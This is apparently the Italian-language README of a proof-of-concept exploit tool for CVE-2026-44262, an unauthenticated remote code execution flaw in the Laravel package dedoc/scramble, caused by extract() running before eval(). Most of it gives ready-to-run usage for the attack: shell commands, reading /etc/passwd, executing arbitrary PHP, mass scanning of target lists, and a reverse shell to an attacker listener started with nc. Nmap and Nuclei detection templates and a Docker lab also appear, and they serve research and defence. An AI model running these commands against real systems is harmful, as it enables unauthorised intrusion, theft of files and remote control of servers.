dedoc/scramble RCE (CVE-2026-44262) PoC

📜 Descrizione

CVE-2026-44262 è una vulnerabilità di Remote Code Execution non autenticata in dedoc/scramble, un generatore di documentazione API per Laravel.

NodeRulesEvaluator::doEvaluateExpression() chiama extract($variables) prima di eval("return $code;"). Quando un controller assegna $request->input() a una variabile chiamata $code e la usa come regola di validazione, Scramble traccia quella variabile e la passa nello scope di eval. Un attaccante può sovrascrivere $code con PHP arbitrario fornendo un parametro di query appositamente costruito a /docs/api.json.

Versioni interessate: dedoc/scramble >=0.13.2, <0.13.22

✨ Caratteristiche

• Auto-rilevamento — esegue la scansione della specifica OpenAPI per individuare automaticamente i parametri vulnerabili
• Sonda di timing — controllo sicuro e non invasivo che usa sleep() per confermare l'esecuzione di eval
• Esecuzione di comandi — esegue comandi shell e cattura l'output direttamente dalla risposta HTTP
• Lettura file — legge file arbitrari dal filesystem del target
• Esecuzione di codice PHP — esegue codice PHP grezzo tramite la RCE
• Reverse shell — reverse shell PHP tramite proc_open, senza bisogno di bash o busybox
• Scansione di massa — scansiona più target da un file
• Rilevamento OS — rileva automaticamente Windows/Linux/Darwin e adatta i payload di conseguenza
• Nmap NSE — script di rilevamento passivo + timing (http-scramble-rce-detect.nse)
• Template Nuclei — rilevamento in due fasi con conferma tramite timing (CVE-2026-44262.yaml)

🛠️ Installazione

Nessuna dipendenza esterna — usa solo la libreria standard di Python.

macOS / Linux

git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://example.com/docs/api

Windows

git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://example.com/docs/api

⚙️ Utilizzo

usage: CVE-2026-44262.py [-h] (--target TARGET | --targets FILE) [--docs-path PATH]
                   [--check] [--command CMD] [--code PHP] [--read-file PATH]
                   [--shell] [--lhost HOST] [--lport PORT] [--os OS]
                   [--useragent USERAGENT] [--timeout SECONDS]

Rilevamento

# Rilevamento completo (sonda timing + esecuzione)
python3 CVE-2026-44262.py --target http://example.com/docs/api

# Solo controllo sicuro — sonda timing, nessuna esecuzione di comandi
python3 CVE-2026-44262.py --target http://example.com/docs/api --check

# Sostituzione del percorso dell'endpoint JSON
python3 CVE-2026-44262.py --target http://example.com/docs/api --docs-path /api/openapi.json

# Scansione di massa
python3 CVE-2026-44262.py --targets targets.txt

Sfruttamento

# Eseguire un comando
python3 CVE-2026-44262.py --target http://example.com/docs/api --command "whoami"

# Leggere un file
python3 CVE-2026-44262.py --target http://example.com/docs/api --read-file /etc/passwd

# Eseguire PHP grezzo
python3 CVE-2026-44262.py --target http://example.com/docs/api --code "echo php_uname();"

# Reverse shell (avviare: nc -lv 4444)
python3 CVE-2026-44262.py --target http://example.com/docs/api --shell --lhost 172.17.0.1 --lport 4444

Nmap e Nuclei (passivo + timing, nessuno sfruttamento)

# Nmap
nmap -p 80,443 --script http-scramble-rce-detect example.com

# Nuclei
nuclei -t CVE-2026-44262.yaml -u http://example.com

🐋 Lab Docker

È incluso un ambiente Docker autonomo con l'app vulnerabile (dedoc/scramble v0.13.21). Vedi docker/DOCKER.md per i dettagli.

cd docker/
docker compose up -d
python3 ../CVE-2026-44262.py --target http://localhost:8000/docs/api

🕵🏼 Riferimenti

• dedoc/scramble
• GitHub Advisory — GHSA-4rm2-28vj-fj39
• NVD — CVE-2026-44262
• HackIndex.io — CVE-2026-44262

📢 Disclaimer

Questo strumento è fornito esclusivamente a scopo educativo e di ricerca. Il creatore non si assume alcuna responsabilità per usi impropri o danni causati da questo strumento.